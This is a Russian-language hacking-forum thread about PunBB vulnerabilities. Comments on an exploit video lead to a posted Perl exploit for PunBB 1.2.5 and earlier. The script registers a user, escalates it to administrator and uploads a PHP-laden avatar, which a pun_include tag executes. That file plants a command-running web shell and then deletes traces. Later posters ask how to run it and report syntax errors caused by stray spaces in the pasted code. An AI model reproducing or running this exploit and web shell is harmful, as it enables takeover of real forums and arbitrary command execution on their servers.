![]() |
Дырки PunBB
комментарии
----------------- от меня: видео хорошее, довольно качественное, только 1) нету комментов в архиве 2) зачем выводить содержимое passwd ? можно было сделать чтото поинтереснее ... |
мда. Я не знаком с панББ, но если пан_инклуд вставляет в код любой файл, то зачем там были все эти выкрутасы с аваторой ? Не проще было загрузить сразу через фтп или хттп. И тем более если единственной целью был просмотр етс/пассвд, это можно было сделать прямо через этот же файл =\. Странное долгое, неинформативное видео.
Пусть автор не обижается, но помойму оно совершенно бесполезно - для скрипткидди, ломающих форум по сплоитам куда проще взять сплоит из обзора этой уязвимости в текстовом формате, а новичку, познающимк веб-хацкерское дело тут не показано абсолютно ничего что обычно можно сделать в таких случаях. Да плюс ко всему комметнариев совсем нет. Лично для меня так и осталось загадкой что такое пан_инклуд. Автор видео что-то куда-то тыкает, бегает мышкой. Не помешало бы по-чаще заглядывать в окно с комментариями для пояснения происходящего ! |
пан_инклуд может инклудить только локальные файлы, поэтому и надо грузить аватару
а passwd я показал просто как пример- ведь уже понятно что можно создать было любой php скрипт а насчет чего-нить поинтереснее заинклудить- то не хотелось палить это кое-что интересное |
мой сплоит для punbb <=1.2.5
#!/usr/bin/perl -w use HTTP::Request::Common; use HTTP::Cookies; use LWP; use URI::Escape; #powered by ShAnKaR print "please enter url :"; $url=<STDIN>; chomp($url); $user='ShAnKaR'; $mail='mse9rsddrddsfsgeyws5dm56n@mail.ru'; $file='sh.jpg'; my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)',timeout=>10); $ua->cookie_jar( HTTP::Cookies->new()); $proxy='127.0.0.1:3128';#proxy nax $ua->proxy('http', "http://$proxy/" ); my $req = new HTTP::Request 'POST',$url."register.php?agree=yes"; $data='form_sent=1&req_username='.$user.'&req_pass word1=password&req_password2=password&timezone=1&r eq_email1='.$mail.'&email_setting=2&save_pass=1&re gister=Register'; $req->content_type('application/x-www-form-urlencoded'); $req->content($data); my $res = $ua->request($req); $res=$ua->get($url."profile.php"); $content=$res->content; $content=~ s!profile.php\?id=(\d+)!$1!g; if($1){ print "Registration complete\n"; my $id=$1; print "user id=".$id."\n"; $req = new HTTP::Request 'POST',$url.'profile.php?section=personal&id='.$id .'&temp[0]=group_id=1'; $data='form_sent=1&form[url]=0&update=Submit'; $req->content_type('application/x-www-form-urlencoded'); $req->content($data); $res = $ua->request($req); $res=$ua->get($url."index.php"); $content=$res->content; if($content=~ m/admin_index\.php/ig){ print "change group_id\n"; $req = POST $url.'profile.php?action=upload_avatar2&id='.$id, Content_Type => 'form-data', Content => [ form_sent => '1', MAX_FILE_SIZE => 'Upload', upload => '10240', req_file => [$file], ]; $res=$ua->request($req); $res=$ua->get($url.'img/avatars/'.$id.'.jpg'); if($res->is_error){ print "avatars has been not upload\n"; exit; } $res=$ua->get($url."admin_forums.php"); $content=$res->content; $content=~ s!edit_forum=(\d+)!$1!ig; print "forum_id=".$1."\n"; $forum_id=$1; $res=$ua->get($url.'admin_forums.php?edit_forum='.$forum_id ); $content=$res->content; $content=~ s!name="forum_name" size="35" maxlength="80" value="(.+)"!$1!ig; $forum_name=$1; $forum_name=~ s/" tabindex="1//ig; print "forum name: ".$forum_name."\n"; $content=~ s!name="forum_desc" rows="3" cols="50" tabindex="2">(.+)</textarea>!$1!ig; $forum_desc=$1; $req = new HTTP::Request 'POST',$url.'admin_forums.php?edit_forum='.$forum_ id; $data='save=Save&forum_name='.$forum_name.'&forum_ desc=<pun_include "img/avatars/'.$id.'.jpg">&cat_id=1&sort_by=0'; $req->content_type('application/x-www-form-urlencoded'); $req->content($data); $req->referer($url.'admin_forums.php?edit_forum=1'); $res = $ua->request($req); $content=$res->content; $res=$ua->get($url); $res=$ua->get($url.'profile.php?action=delete_avatar&id='.$ id); print "delet avatars\n"; $req = new HTTP::Request 'POST',$url.'admin_forums.php?edit_forum='.$forum_ id; $data='save=Save&forum_name='.$forum_name.'&forum_ desc='.$forum_desc.'&cat_id=1&sort_by=0'; $req->content_type('application/x-www-form-urlencoded'); $req->content($data); $req->referer($url.'admin_forums.php?edit_forum=1'); $res = $ua->request($req); print "delet post\n"; $req = new HTTP::Request 'POST',$url.'profile.php?id='.$id; $data='delete_posts=1&delete_user_comply=Delete'; $req->content_type('application/x-www-form-urlencoded'); $req->content($data); $req->referer($url.'profile.php?section=admin&id='.$id. '&action=foo'); $res = $ua->request($req); print "delet user\n"; $res=$ua->get($url.'img/avatars/q.php'); if($res->is_error){ print "has been not exploited\n"; } else{ print "exploited success!!!\n"; print $url."img/avatars/q.php?cmd=&eval=&inc=\n"; }} else{ print "sql-injection failed\n"; exit; }} else{ print "registration failed\n"; } и картинка sh.jpg с кодом: <?php $text='<?php if(isset($cmd))system($cmd); if(isset($eval))eval($eval); if(isset($inc))include($inc); ?>' $fd=fopen('img/avatars/q.php','w+'); fwrite($fd,$text); fclose($fd); ?> |
а как етим сплоитом пользоватся ?
|
подскажите кто-нить как енту аватарку с пхп-кодом внутри создать? :confused:
|
<?php
$text='<?php if(isset($cmd))system($cmd); if(isset($eval))eval($eval); if(isset($inc))include($inc); ?>' $fd=fopen('img/avatars/q.php','w+'); fwrite($fd,$text); fclose($fd); ?> Вот у меня именно в этом куске перл ругаеться на то что <> не прально поставлены. цитата из perl: syntax error at C:\EXP.pl line 66, near "$forum_ id" syntax error at C:\EXP.pl line 76, near "$forum_ id" Unterminated <> operator at C:\EXP.pl line 105. На счет "$forum_ id" - там по ходу пробел лишний. А вот с 105 строкой ни как не могу ничего поделать =( |
| Время: 03:08 |